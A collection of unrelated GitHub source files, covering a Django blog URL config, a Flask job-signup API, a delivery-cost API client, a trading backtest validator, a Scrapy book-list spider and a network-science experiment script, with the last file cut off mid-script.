{"seq_id":"8099386242","text":"\"\"\"XSsite URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path,include\nfrom django.contrib import admin\nfrom blog.views import *\n\nfrom django.urls import path, include, re_path\n#上面这行多加了一个re_path\nfrom django.views.static import serve\n#导入静态文件模块\nfrom django.conf import settings\n#导入配置文件里的文件上传配置\n\n\nurlpatterns = [\n    path(\"\",index),\n    path('list-<int:lid>.html', lists, name='lists'),#列表页\n    path(\"sort-<int:sid>.html\",sort,name=\"sort\"),\n    path(\"archive-<int:tid>.html\",archive,name=\"archive\"),\n    path('me', me, name='me'),#联系我们单页\n    path('search', search, name='search'),#搜索列表页\n    path('details-<int:did>.html', details, name='details'),#内容页\n    path('tag/<tag>', tag, name='tags'),#标签列表页\n    path(\"admin/\", admin.site.urls),\n    path(\"ueditor/\", include(\"DjangoUeditor.urls\")),\n    path(r'^comments/', include('django_comments.urls')),\n    re_path('^media/(?P<path>.*)$', serve, {'document_root': settings.MEDIA_ROOT}),#增加此行\n    re_path('^static/(?P<path>.*)$', serve, {'document_root': settings.STATICFILES_DIRS}),#增加此行\n\n]","repo_name":"xiaosongshine/djangoWebs","sub_path":"XSsite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"19807366570","text":"\n#https://leetcode.com/discuss/interview-question/402031/IBM-or-OA-2019-or-Who's-the-closest\n\ndef closestOccurence(st, queries):\n\n    freq = {}\n    closest = []\n    for i,s in enumerate(st):\n        freq[s] = freq.get(s, []) + [i]\n\n    for q in queries:\n        mn = float(\"inf\")\n        for v in freq[st[q]]:\n            if v != q:\n                if q - v < mn:\n                    mn = v\n        mn = -1 if mn == float(\"inf\") else mn\n        closest.append(mn)\n    return closest\n\n\n\n\nif __name__ == \"__main__\":\n\n    testCase1 = [\"hackerrank\", [4,1,6,8]]\n    testCase2 = [\"aaaa\", [0,1,2,3]]\n    testCase3 = [\"sam\", [1]]\n    testCases = [testCase1, testCase2, testCase3]\n\n    for i,t in enumerate(testCases):\n        print(\"TestCase\", i, \"is\", closestOccurence(t[0], t[1]))\n","repo_name":"JoshuaSamuelTheCoder/Quarantine","sub_path":"Closest_Occurence/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"19314924294","text":"#! /usr/bin/env python\n# -*- coding=utf8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score\n\nprint(\"loading data ...\")\ntrain_data = np.loadtxt('./train_features.txt')\ntrain_labels = np.loadtxt('./train_labels.txt')\nvalidation_data = np.loadtxt('./validation_features.txt')\nvalidation_labels = np.loadtxt('./validation_labels.txt')\ntest_data = np.loadtxt('./test_features.txt')\nprint(\"load data done.\")\n\nclf = SVC(\n    C=1.0,\n    kernel='rbf',\n    shrinking=True,\n    tol=1e-3,\n    max_iter=20)\n\nclf.fit(train_data, train_labels)\nvalidation_pred = clf.predict(validation_data)\naccuracy = accuracy_score(validation_labels, validation_pred)\n\nprint(\"accuracy = {}\".format(accuracy))\n","repo_name":"xuzhezhaozhao/ai","sub_path":"vision/classification/slim/image_models/image2vec/cat_vs_dog_classifier/svc_classifier.py","file_name":"svc_classifier.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"36591137370","text":"# Pixel Art\n# A card that demonstrates collaborative editing in Wave.\n# Open `/demo` in multiple browsers and watch them synchronize in realtime.\n# #collaboration\n# ---\nfrom h2o_wave import site, data, ui\n\npage = site['/demo']\npage.drop()\n\npage.add('example', ui.pixel_art_card(\n    box='1 1 4 6',\n    title='Art',\n    data=data('color', 16 * 16),\n))\npage.save()\n","repo_name":"h2oai/wave","sub_path":"py/examples/pixel_art.py","file_name":"pixel_art.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":3735,"dataset":"github-code","pt":"35"}
{"seq_id":"14696312740","text":"from flask import Flask, jsonify, request\nfrom flask_socketio import SocketIO, send\nfrom firebase_admin import credentials, initialize_app, firestore\n\nfrom config import Config\n\n# Flask Initialization\napp = Flask(__name__)\napp.config.from_object(Config)\n# Firestore DB Initialization\ncred = credentials.Certificate('bfk.json')\ndefault_app = initialize_app(cred)\ndb = firestore.client()\n# Get jobs collection from firestore\njobs_ref = db.collection('jobs')\n# SocketIO Initialization\nsocketio = SocketIO(app)\n\n# Subscribe for changes in firestore database\ndef on_snapshot(doc_snapshot, changes, read_time):\n    '''\n    Send socket.io message to all clients\n    when a change happens in firestore\n    '''\n    if len(changes) == 1:\n        documentChange = changes[0]\n        documentSnapShot = documentChange.document\n        payload = {\n            'id': documentSnapShot.id,\n        }\n        # if job is full\n        if documentSnapShot.get('total_workers') == documentSnapShot.get('needed_workers'):\n            jobs_ref.document(documentSnapShot.id).update({'is_full': True})\n            payload['is_full'] = True\n\n        print(\"[+] CHANGES: \", changes[0].document.id)\n        payload['needed_workers'] = documentSnapShot.get('needed_workers')\n        # socketio.emit('message', payload, broadcast=True)\n\n# Socket.io messages\n@socketio.on('connect')\ndef on_connect():\n    send({}, broadcast=True) \n\n\n@app.route('/jobs', methods=['GET'])\ndef jobs():\n    '''\n    Returns a json list of jobs available in Firestore\n    '''\n    try:\n        jobs = {} \n        for doc in jobs_ref.stream():\n            if not doc.get('is_full'):\n                jobs[doc.id] = doc.to_dict()\n        return jsonify(jobs), 200\n    except Exception as e:\n        return f\"An Error Occured: {e}\"\n\n\n@app.route('/job/<string:job_id>', methods=['GET', 'POST'])\ndef job(job_id):\n    '''\n    Job controller\n        - GET: get a job description from given job's id in Firestore\n        - POST: update a job description from given job's id in Firestore\n    '''\n    if request.method == 'GET':\n        # return a single document given an id\n        job = jobs_ref.document(job_id).get()\n        return jsonify(job.to_dict()), 200\n    else:\n        # decrement total_workers when user signed up\n        try:\n            job = jobs_ref.document(job_id)\n            needed_workers = job.get().get('needed_workers')\n            needed_workers += 1\n            job.update({'needed_workers': needed_workers})\n\n            payload = {\n                'id':job_id,\n            }\n\n            # Reject any more applications when the job is full\n            if job.get().get('total_workers') == job.get().get('needed_workers'):\n                job.update({'is_full': True})\n                payload['is_full'] = True\n\n            name = job.get().get('name')\n            salary = job.get().get('salary')\n            socketio.emit('registered', {'name': name, 'salary': salary})\n            # send a live update to every clients\n            payload['needed_workers'] = needed_workers\n            socketio.send(payload, broadcast=True) \n            print(\"SENT AN UPDATE\")\n            # Send an update to notify the client that the registration\n            # is completed \n\n        except Exception as e:\n            return f\"An Error occured: {e}\"        \n        finally:\n            return {}, 200\n\nif __name__ == \"__main__\":\n    # Establish a watcher for Firestore changes\n    # jobs_ref.on_snapshot(on_snapshot)\n    socketio.start_background_task(jobs_ref.on_snapshot, on_snapshot)\n\n    socketio.run(app, host='0.0.0.0', port=5000)","repo_name":"ntdkhiem/ByteHacks","sub_path":"services/api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18205113682","text":"# https://dev.dellin.ru/api/calculation/calculator/\n\nimport datetime\nimport json\nimport math\n\nimport requests\n\nfrom .api import DeliveryAPI\n\n\nclass DellinAPI(DeliveryAPI):\n    \"\"\" Class provides communicate with API service \"\"\"\n    def __init__(self, config, delivery_info):\n        \"\"\"\n        config: instance of ConfigParser, reading config.ini\n        delivery_info: info about delivery (arrival_city, derival_city, produce_date, cargo specs)\n        \"\"\"\n        self.base_api_url = 'https://api.dellin.ru'\n        self.appkey = config['dellin']['appkey']\n        self.login = config['dellin']['login']\n        self.password = config['dellin']['pass']\n        self.session_id = self._get_session_id()\n        super().__init__(delivery_info)\n        self.result['name'] = 'Деловые Линии'\n\n    def _get_session_id(self):\n        \"\"\" Get session id for future api requests\n        Return: sessionID or None\n        \"\"\"\n        url = f'{self.base_api_url}/v3/auth/login.json'\n\n        resp = requests.post(url,\n                             json={'appkey': self.appkey,\n                                   'login': self.login,\n                                   'password': self.password\n                                   },\n                             headers={'content-type': 'application/json'})\n\n        if resp.status_code == 200:\n            resp_json = resp.json()\n            return resp_json['data']['sessionID']\n        else:\n            self.result['error'] = 'Ошибка соединения'\n\n        return None\n\n    def _get_city_code(self, check_city: str, check_region: str):\n        \"\"\" Get code of city\n        check_city: city name\n        check_region: region name\n        Return: city code or None\n        \"\"\"\n        url = f'{self.base_api_url}/v2/public/kladr.json'\n\n        resp = requests.post(url,\n                             json={'appkey': self.appkey,\n                                   'q': check_city.lower()},\n                             headers={'content-type': 'application/json'})\n\n        if resp.status_code == 200:\n            resp_json = resp.json()\n            try:\n                if check_region:\n                    region = self._get_clean_region(check_region)\n\n                    for city in resp_json['cities']:\n                        if region in city['region_name'].lower():\n                            return city['code']\n\n                    self.result['error'] = f'{check_city} ({check_region}): нет терминала'\n\n                return resp_json['cities'][0]['code']\n            except IndexError or KeyError:\n                self.result['error'] = f'{check_city}: нет доставки'\n        else:\n            self.result['error'] = 'Ошибка соединения'\n\n        return None\n\n    @staticmethod\n    def _get_terminal_id(city_code: str):\n        \"\"\" Get id of dellin terminal from terminal_v3.json file in data folder\n        city_code: kladr code of city\n        Return: terminal id or None\n        \"\"\"\n        with open('assets/data/terminals_v3.json', 'r') as f:\n            content = f.read()\n            cities = json.loads(content)\n\n        for city in cities['city']:\n            if city['code'] == city_code:\n                return city['terminals']['terminal'][0]['id']\n\n        return None\n\n    def _get_request_body(self):\n        \"\"\" Create final body for request to API\n        Return: request body\n        \"\"\"\n        arrival_code = self._get_city_code(self.arrival_city, self.arrival_region)\n        derival_code = self._get_city_code(self.derival_city, self.derival_region)\n\n        if arrival_code and derival_code:\n            body = {\n                'appkey': self.appkey,\n                'sessionID': self.session_id,\n                'delivery': {\n                    'deliveryType': {\n                        'type': 'auto'\n                    },\n                    'arrival': {\n                        'variant': 'terminal',\n                        'city': arrival_code,\n                    },\n                    'derival': {\n                        'produceDate': self.date,\n                        'variant': 'terminal',\n                        'terminalID': self._get_terminal_id(derival_code)\n                    },\n                },\n                'members': {\n                    'requester': {\n                        'role': 'sender'\n                    }\n                },\n                'cargo': {\n                    'length': self.cargo['length'],\n                    'width': self.cargo['width'],\n                    'height': self.cargo['height'],\n                    'totalVolume': self.cargo['volume'],\n                    'totalWeight': self.cargo['weight'],\n                    'hazardClass': 0\n                },\n                'payment': {\n                    'paymentCity': arrival_code,\n                    'type': 'cash'\n                }\n            }\n\n            if self.cargo['weight'] >= 80:\n                weight = self.cargo['weight']\n                quantity = math.ceil(weight / 75)\n                body['cargo']['quantity'] = quantity\n                body['cargo']['weight'] = round(weight / quantity, 1)\n\n            return body\n\n        return None\n\n    def _get_delivery_calc(self):\n        \"\"\" Get result of calculation in json format\n        Return: calculation result or None\n        \"\"\"\n        url = f'{self.base_api_url}/v2/calculator.json'\n\n        if not self.result['error']:\n            resp = requests.post(url,\n                                 json=self.body,\n                                 headers={'content-type': 'application/json'})\n\n            if resp.status_code == 200:\n                return resp.json()\n            else:\n                self.result['error'] = 'Ошибка соединения'\n\n        return None\n\n    def calculate(self):\n        \"\"\" Main function to calculate delivery cost and time\n        Return: result dictionary\n        \"\"\"\n        if not self.session_id or not self.body:\n            return self.result\n\n        calculation = self._get_delivery_calc()\n        if not calculation:\n            return self.result\n\n        try:\n            derival_date = datetime.datetime.strptime(\n                self.date,\n                '%Y-%m-%d'\n            )\n            arrival_date = datetime.datetime.strptime(\n                calculation['data']['orderDates']['arrivalToOspReceiver'],\n                '%Y-%m-%d'\n            )\n            days_delta = arrival_date - derival_date\n\n            intercity_price = calculation['data']['intercity']['price'] * 0.7  # 30% discount\n            insurance_price = calculation['data']['insurance']\n            notify_price = calculation['data']['notify']['price']\n            total_price = round(intercity_price + insurance_price + notify_price, 2)\n\n            self.result['cost'] = f'{total_price:.2f}'\n            self.result['days'] = days_delta.days\n        except KeyError or IndexError:\n            self.result['error'] = 'Ошибка расчета данных'\n\n        return self.result\n","repo_name":"alexforcode/delivery-calc","sub_path":"main/calculator/calculation/dellin.py","file_name":"dellin.py","file_ext":"py","file_size_in_byte":7052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27101613574","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom Utils.IOUtils import *\nfrom Utils.lm import *\nfrom Backtesting.Vectorized.Strategy import MovingAverageStrategy, SLMStrategy\nfrom Backtesting.Vectorized.backtest import vectorizedbacktest\nfrom Backtesting.Vectorized.cross_compare import ensembler\n\n\nclass LmValidation:\n    def __init__(self, slm, start='2016-7-1', end='2016-10-1',symbol='ag', data_dir=r'../../Output', valid_dir=r'../../Validation', min_order=2, max_order=8, offsets_average = False, n_offsets = 5, tca = None, price='LastPrice', fixed_cost = 0.00052,**kwargs):\n        '''\n        :param slm: language model dataframe having at least two columns: prior and signal\n        :param symbol:\n        :param data_dir: directory of testing files\n        :param max_order: max order of model to test\n        '''\n        self._slm = slm\n        self._symbol = symbol\n        self._data_dir = data_dir\n        self._valid_dir = valid_dir\n        self._min_order = min_order\n        self._max_order = max_order\n        self._offsets_average = offsets_average\n        self._average_return = None\n        self._n_offsets = n_offsets\n        self._start = start\n        self._end = end\n        self._price_threshold = kwargs.get('px_th', 0)\n        self._price=price\n        self._tca = tca\n        self._fixed_cost = fixed_cost\n\n    def gen_find(self):\n        '''\n        Find all filenames in a directory tree that match a shell wildcard pattern.\n        '''\n        for path, dirlist, filelist in os.walk(self._data_dir):\n            for name in fnmatch.filter(filelist, self._symbol + '*'):\n                yield name\n\n    def run(self):\n        filenames = self.gen_find()\n        for filename in filenames:\n            print(filename)\n            data = pd.read_csv(self._data_dir + '/' + filename, index_col=0)\n            data = data[(pd.to_datetime(data.index) >= pd.to_datetime(self._start)) & (pd.to_datetime(data.index) < pd.to_datetime(self._end))]\n            if len(data) == 0:\n                continue\n            else:\n                signals = [SLMStrategy(data, self._slm, m-1, px_th=self._price_threshold).generatingsignal() for m in np.arange(self._min_order, self._max_order+1)]\n                #tcas = [self._tca for m in np.arange(self._min_order + 1, self._max_order + 1)]\n                tcas = [self._tca]*(self._max_order - self._min_order + 1)\n                validator_ensemble = ensembler(vectorizedbacktest, signals, price=self._price, tcas = tcas, fixed_cost=self._fixed_cost)\n                validator_ensemble.build()\n                validator_ensemble.run()\n\n                performance = validator_ensemble.calperformance()\n                performance.to_csv(self._valid_dir + '/performance_' + filename)\n                validator_ensemble.plot()\n                plt.savefig(self._valid_dir + '/performance_' + re.sub('.csv', '.png', filename))\n                plt.close()\n                # validator_ensemble.plot(target_col=\"benchmark\")\n                # plt.savefig(self._valid_dir + '/benchmark_' + re.sub('.csv', '.png', filename))\n                # plt.close()\n                fig = plt.figure()\n                #benchmark = validator_ensemble.results[0]['return'].cumsum() + 1\n                benchmark = validator_ensemble.results[0]['benchmark']\n                #print(len(benchmark.index))\n                #initial_value = benchmark[0]\n                #benchmark = benchmark/initial_value\n                benchmark.plot()\n                plt.title('Benchmark')\n                fig.savefig(self._valid_dir + '/benchmark_' + re.sub('.csv', '.png', filename))\n                plt.close()\n\n                if self._offsets_average:\n                    if not self._average_return:\n                        self._average_return = [df['strategy'].reset_index(drop=True) for df in validator_ensemble.results]\n                        average_performance = performance\n                        average_benchmark = validator_ensemble.results[0]['benchmark']\n                        #avg_equitycurve = [df['equitycurve'].reset_index(drop=True) for df in validator_ensemble.results]\n                    else:\n                        self._average_return = [df1.add(df2['strategy'].reset_index(drop=True), fill_value=0) for (df1, df2) in zip(self._average_return, validator_ensemble.results)]\n                        average_performance = average_performance.add(performance, fill_value=0)\n                        #avg_equitycurve = [df1.add(df2['equitycurve'].reset_index(drop=True), fill_value=0) for (df1, df2) in zip(avg_equitycurve, validator_ensemble.results)]\n                        #average_benchmark = average_benchmark.add(validator_ensemble.results[0]['LastPrice'], fill_value=0)\n        '''\n        average return of all offsets\n        '''\n        if self._offsets_average and (self._average_return is not None):\n            self._average_return = [(1+df.divide(self._n_offsets)).cumprod() for df in self._average_return]\n            #avg_equitycurve = [df.divide(self._n_offsets) for df in avg_equitycurve]\n            #average_benchmark = average_benchmark/average_benchmark[0]\n            average_benchmark = average_benchmark.to_frame()\n            average_benchmark['Date'] = pd.to_datetime(average_benchmark.index)\n            #print(average_benchmark)\n            fig = plt.figure()\n            plt.plot(average_benchmark.Date, average_benchmark.benchmark, label='b')\n            for avg_return, label in zip(self._average_return, np.arange(self._min_order, self._max_order+1)):\n            #for avg_return, label in zip(avg_equitycurve, np.arange(2, 2 + len(avg_equitycurve))):\n                #avg_return.plot(label=label)\n                df = avg_return.to_frame()\n                df = df.set_index(average_benchmark.index)\n                df['Date'] = pd.to_datetime(df.index)\n                plt.plot(df.Date, df.strategy, label=label)\n            fig.autofmt_xdate()\n            plt.legend(loc='upper left')\n            plt.title('Equity Curve')\n            plt.show()\n            fig.savefig(self._valid_dir + '/performance_' + self._symbol + '.png')\n            plt.close()\n\n            average_performance = average_performance.divide(self._n_offsets)\n            print(average_performance)\n            average_performance.to_csv(self._valid_dir + '/performance_' + self._symbol + '.csv')\n\n\nclass MajorSeriesTest:\n    \"\"\"\n    Test ONE major series with different orders\n    \"\"\"\n\n    def __init__(self, major_series, OUTPUT_DIR, prob_table, signal_price='AvePrice2', \n                 test_price='MidPrice', px_th=0.0):\n        \"\"\"\n        Read in Data and the probability table\n\n        Args:\n            major_series: DataFrame, the time series of major conctrats. Generated by Utils.MajorContract_split\n            OUTPUT_DIR: output path.\n            prob_table: probability table. Generated by Utils.MajorContract_split\n        \"\"\"\n        self._OUTPUT_DIR = OUTPUT_DIR\n        self.test_data = major_series\n        self.signals = None\n        self.prob_table = prob_table\n        self._price_threshold = px_th\n        self.signal_price = signal_price\n        self.test_price = test_price\n\n    def compile_signal(self, data, slm, model_orders):\n        \"\"\"\n        Generate signals for different orders\n        \"\"\"\n\n        signals = [SLMStrategy(data, slm, m, price=self.signal_price, px_th=self._price_threshold).generatingsignal() for m in\n                   range(1, model_orders)]\n\n        return signals\n\n    def build(self, model_order=8, freq='5min', start='20161001', end='20161221', offset=0, tca=None, fixed_cost = 0.0002):\n        \"\"\"\n        Read in Data and the probability table\n\n        Args:\n            model_order: int or list. Number of model orders\n        \"\"\"\n        self.test_data = self.test_data[(self.test_data.index >= start) & (self.test_data.index < end)]\n        self.signals = self.compile_signal(self.test_data, self.prob_table, model_orders=model_order)\n        self.ensemble = ensembler(vectorizedbacktest, self.signals, price=self.test_price, tcas=[tca]*(model_order - 1), fixed_cost = fixed_cost)\n        self.ensemble.build()\n\n    def run(self):\n        self.results = self.ensemble.run()\n        self.performance = self.ensemble.calperformance()\n\n    def plot(self, target_col=\"equitycurve\", ax=None):\n        return self.ensemble.plot(target_col, ax)\n","repo_name":"dechang227/QishiQR","sub_path":"BacktestEngine/Backtesting/Vectorized/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"24259741467","text":"n=int(input('n='))\nL=[]\nwhile True: \n    i=int(input())\n    L=L+[i]\n    if len(L)==n:\n        break\nsnd=0\nsl=0\ns=0\nfor i in range(len(L)):\n    if L[i]>0:\n        snd+=1\n    if L[i]%2==0:\n        sl+=1\n        s=s+L[i]\nif sl==0:tbc=0\nelse: tbc=s/sl \nprint('SND=',snd,sep='')\nprint('TBC=',tbc,sep='')\n        \n","repo_name":"akhoa6204/CSLT","sub_path":"Chuong5/baitapcanhan/15-3.py","file_name":"15-3.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39747263141","text":"import scrapy\n\n\nclass KYSpider(scrapy.Spider):\n    name = \"kyspider\"\n\n    page_count = 0 # sayfa sayısı belirledik next next dedikçe aşağıda if durumu ile kontrol altına alacağız\n    file = open(\"books.txt\",\"a\",encoding = \"UTF-8\")\n    book_count=1\n    start_urls=[  # standart scrapy yapısını bozduk çünkü bu projede toplu olarak request atmayacağız.\n        \"https://www.kitapyurdu.com/index.php?route=product/best_sellers&list_id=1&filter_in_stock=1&filter_in_stock=1&page=1\" #Başlangıç url'si\n    ]\n\n    def parse(self, response):   # standart scrapy yapısını bozduk\n        book_names =  response.css(\"div.name.ellipsis a span::text\").extract()  # scrapy shell response ile elde ettiğimiz verileri liste olarak atıyoruz\n        book_authors = response.css(\"div.author span a span::text\").extract()   \n        book_publishers = response.css(\"div.publisher span a span::text\").extract()\n\n        i = 0\n        while(i < len(book_names)):   # basit bir while döngüsü ile durumu kontrol etmeye başladık. len komutu sayesinde her bir sayfada elimize gelen veri kadar işlem yapacak.\n            \"\"\"yield{     #json dosyasına yazmayacağımız için burayı yorum haline aldık.\n                \"name\" : book_names[i],\n                \"author\" : book_authors[i],    # json dosyası olarak yazacağız. yield komutu kullandık ve dictionary formatında yazıyoruz.\n                \"publisher\" : book_publishers[i] # [i] diyerek i'nin o anki değerini aldık.\n            }\"\"\"\n            self.file.write(\"-------------------------------------------------------------------------------------\\n\")\n            self.file.write(str(self.book_count) + \".\\n\") # kitap sırasını belirledik\n            self.file.write(\"Kitap İsmi : \" + book_names[i] + \"\\n\") # kitap ismini yukardan aldığımız değişkenler ile belirledik\n            self.file.write(\"Yazar : \" + book_authors[i] + \"\\n\")\n            self.file.write(\"Kitap Evi : \" + book_publishers[i] + \"\\n\")\n            self.file.write(\"-------------------------------------------------\\n\")\n            self.book_count += 1    # kitap sayısını aldık ve 1 arttırdık her seferinde\n            i+=1  # döngüyü her seferinde bir arttırdık ki kitap değeri artsın.\n        next_url = response.css(\"a.next::attr(href)\").extract_first()  # sonraki url adresine gitmek için kullandığımız scrapy shell\n        self.page_count += 1 # yukarda oluşturduğumuz page countu 1 arttırıyoruz her seferinde. self olmasının sebebi oop olması ;)\n\n        if next_url is not None and self.page_count != 5:  # Meali -> next_url varsa ve page_count 5 değilse\n            yield scrapy.Request(url = next_url,callback = self.parse)  # yield ile yeni bir request oluşturduk içine parametre olarak yeni url'i yani nex_urli verdik callback parametresi ile hangi fonksiyonu çalıştırmak istediğimizi söyledik.\n        else:\n            self.file.close()     # sayfa bittiğinde dosyayı kapatacak","repo_name":"mebaysan/LearningKitforBeginners-Python","sub_path":"scrapy_framework/kyproject/kyproject/spiders/ky_spider.py","file_name":"ky_spider.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"tr","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"6134290216","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 29 20:09:47 2021\r\n\r\n@author: OuYang\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport os\r\nimport Models\r\nimport Utils\r\nimport Test\r\nimport Embeddings\r\nimport warnings\r\n\r\nwarnings.filterwarnings('ignore')\r\nsns.set_style('ticks')\r\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\r\n\r\nif __name__ == '__main__':\r\n    # set seed\r\n    Utils.setup_seed(5)\r\n    # load networks\r\n    # load training networks\r\n    # In[1]\r\n    BA_1000_4 = Utils.load_graph('./Networks/training/Train_1000_4.txt')\r\n    BA_1000_4_sir = pd.read_csv('./SIR results/Train_1000_4/BA_1000_4.csv')\r\n    BA_1000_4_label = dict(zip(np.array(BA_1000_4_sir['Node'],dtype=str),BA_1000_4_sir['SIR']))\r\n    BA_1000_10 = Utils.load_graph('./Networks/training/BA_1000_10.txt')\r\n    BA_1000_20 = Utils.load_graph('./Networks/training/BA_1000_20.txt')\r\n    \r\n    BA_2000_4 = Utils.load_graph('./Networks/training/BA_2000_4.txt')\r\n    BA_2000_10 = Utils.load_graph('./Networks/training/BA_2000_10.txt')\r\n    BA_2000_20 = Utils.load_graph('./Networks/training/BA_2000_20.txt')\r\n\r\n    BA_3000_4 = Utils.load_graph('./Networks/training/BA_3000_4.txt')\r\n    BA_3000_10 = Utils.load_graph('./Networks/training/BA_3000_10.txt')\r\n    BA_3000_20 = Utils.load_graph('./Networks/training/BA_3000_20.txt')\r\n\r\n    # load real-world networks\r\n    PowerGrid = Utils.load_graph('./Networks/real/powergrid.txt')\r\n    GrQ = Utils.load_graph('./Networks/real/CA-GrQc.txt')\r\n    Facebook = Utils.load_graph('./Networks/real/facebook_combined.txt')\r\n    Ham = Utils.load_graph('./Networks/real/Peh_edge.txt')\r\n    Hep = Utils.load_graph('./Networks/real/CA-HepTh.txt')\r\n    LastFM = Utils.load_graph('./Networks/real/LastFM.txt')\r\n    Figeys = Utils.load_graph('./Networks/real/figeys.txt')\r\n    Vidal = Utils.load_graph('./Networks/real/vidal.txt')\r\n    Sex = Utils.load_graph('./Networks/real/sex.txt')\r\n\r\n    # remove selfloops of real-world networks\r\n    Figeys.remove_edges_from(nx.selfloop_edges(Figeys))\r\n    Vidal.remove_edges_from(nx.selfloop_edges(Vidal))\r\n    GrQ.remove_edges_from(nx.selfloop_edges(GrQ))\r\n    Hep.remove_edges_from(nx.selfloop_edges(Hep))\r\n    LastFM.remove_edges_from(nx.selfloop_edges(LastFM))\r\n    PowerGrid.remove_edges_from(nx.selfloop_edges(PowerGrid))\r\n\r\n    # load labels\r\n    # load labels of BA networks\r\n    BA_1000_10_label = Utils.load_sir_list('./SIR results/BA_1000_10/BA_1000_10_')[0]\r\n    BA_1000_20_label = Utils.load_sir_list('./SIR results/BA_1000_20/BA_1000_20_')[0]\r\n    BA_2000_4_label = Utils.load_sir_list('./SIR results/BA_2000_4/BA_2000_4_')[0]\r\n    BA_2000_10_label = Utils.load_sir_list('./SIR results/BA_2000_10/BA_2000_10_')[0]\r\n    BA_2000_20_label = Utils.load_sir_list('./SIR results/BA_2000_20/BA_2000_20_')[0]\r\n    BA_3000_4_label = Utils.load_sir_list('./SIR results/BA_3000_4/BA_3000_4_')[0]\r\n    BA_3000_10_label = Utils.load_sir_list('./SIR results/BA_3000_10/BA_3000_10_')[0]\r\n    BA_3000_20_label = Utils.load_sir_list('./SIR results/BA_3000_20/BA_3000_20_')[0]\r\n\r\n    # load labels of real-world networks\r\n    Facebook_SIR = Utils.load_sir_list('./SIR results/Facebook/Facebook_')\r\n    Ham_SIR = Utils.load_sir_list('./SIR results/Ham/Ham_')\r\n    GrQ_SIR = Utils.load_sir_list('./SIR results/GrQ/GrQ_')\r\n    Hep_SIR = Utils.load_sir_list('./SIR results/Hep/Hep_')\r\n    LastFM_SIR = Utils.load_sir_list('./SIR results/LastFM/LastFM_')\r\n    Figeys_SIR = Utils.load_sir_list('./SIR results/Figeys/Figeys_')\r\n    Vidal_SIR = Utils.load_sir_list('./SIR results/vidal/vidal_')\r\n    PowerGrid_SIR = Utils.load_sir_list('./SIR results/powergrid/powergrid_')\r\n    Sex_SIR = Utils.load_sir_list('./SIR results/Sex/Sex_')\r\n    \r\n    # community division\r\n    _,BA_1000_4_community,_ = Utils.Louvain(BA_1000_4)\r\n    _,Facebook_community,_ = Utils.Louvain(Facebook)\r\n    _,Ham_community,_ = Utils.Louvain(Ham)\r\n    _,Hep_community,_ = Utils.Louvain(Hep)\r\n    _,LastFM_community,_ = Utils.Louvain(LastFM)\r\n    _,Sex_community,_ = Utils.Louvain(Sex)\r\n    _,Figeys_community,_ = Utils.Louvain(Figeys)\r\n    _,PowerGrid_community,_ = Utils.Louvain(PowerGrid)\r\n    _,GrQ_community,_ = Utils.Louvain(GrQ)\r\n    _,Vidal_community,_ = Utils.Louvain(Vidal)\r\n    \r\n    # basic info of real-world networks\r\n    print('Facebook Network:\\n',nx.info(Facebook))\r\n    print('---------------------------')\r\n    print('Ham Network:\\n',nx.info(Ham))\r\n    print('---------------------------')\r\n    print('GrQ Network:\\n',nx.info(GrQ))\r\n    print('---------------------------')\r\n    print('Hep Network:\\n',nx.info(Hep))\r\n    print('---------------------------')\r\n    print('LastFM Network:\\n',nx.info(LastFM))\r\n    print('---------------------------')   \r\n    print('Figeys Network:\\n',nx.info(Ham))\r\n    print('---------------------------')\r\n    print('Vidal Network:\\n',nx.info(Hep))\r\n    print('---------------------------')\r\n    print('PowerGrid Network:\\n',nx.info(PowerGrid))\r\n    print('---------------------------')\r\n    print('Sex Network:\\n',nx.info(Sex))\r\n    # In[2]\r\n    # train model \r\n    # parameters\r\n    L1=28\r\n    L2=28\r\n    batch_size= 32\r\n    num_epochs = 500\r\n    lr = 0.001\r\n    a_list = np.arange(1,2,0.1)\r\n    # construct input\r\n    BA_1000_rcnn = Embeddings.main(BA_1000_4,L1)\r\n    BA_1000_mrcnn = Embeddings.main1(BA_1000_4,L2,BA_1000_4_community)\r\n    BA_1000_mrcnn_com = Embeddings.main2(BA_1000_4,L2,BA_1000_4_community,method='community')\r\n    BA_1000_mrcnn_shell = Embeddings.main2(BA_1000_4,L2,BA_1000_4_community,method='shell')\r\n    \r\n    # generate 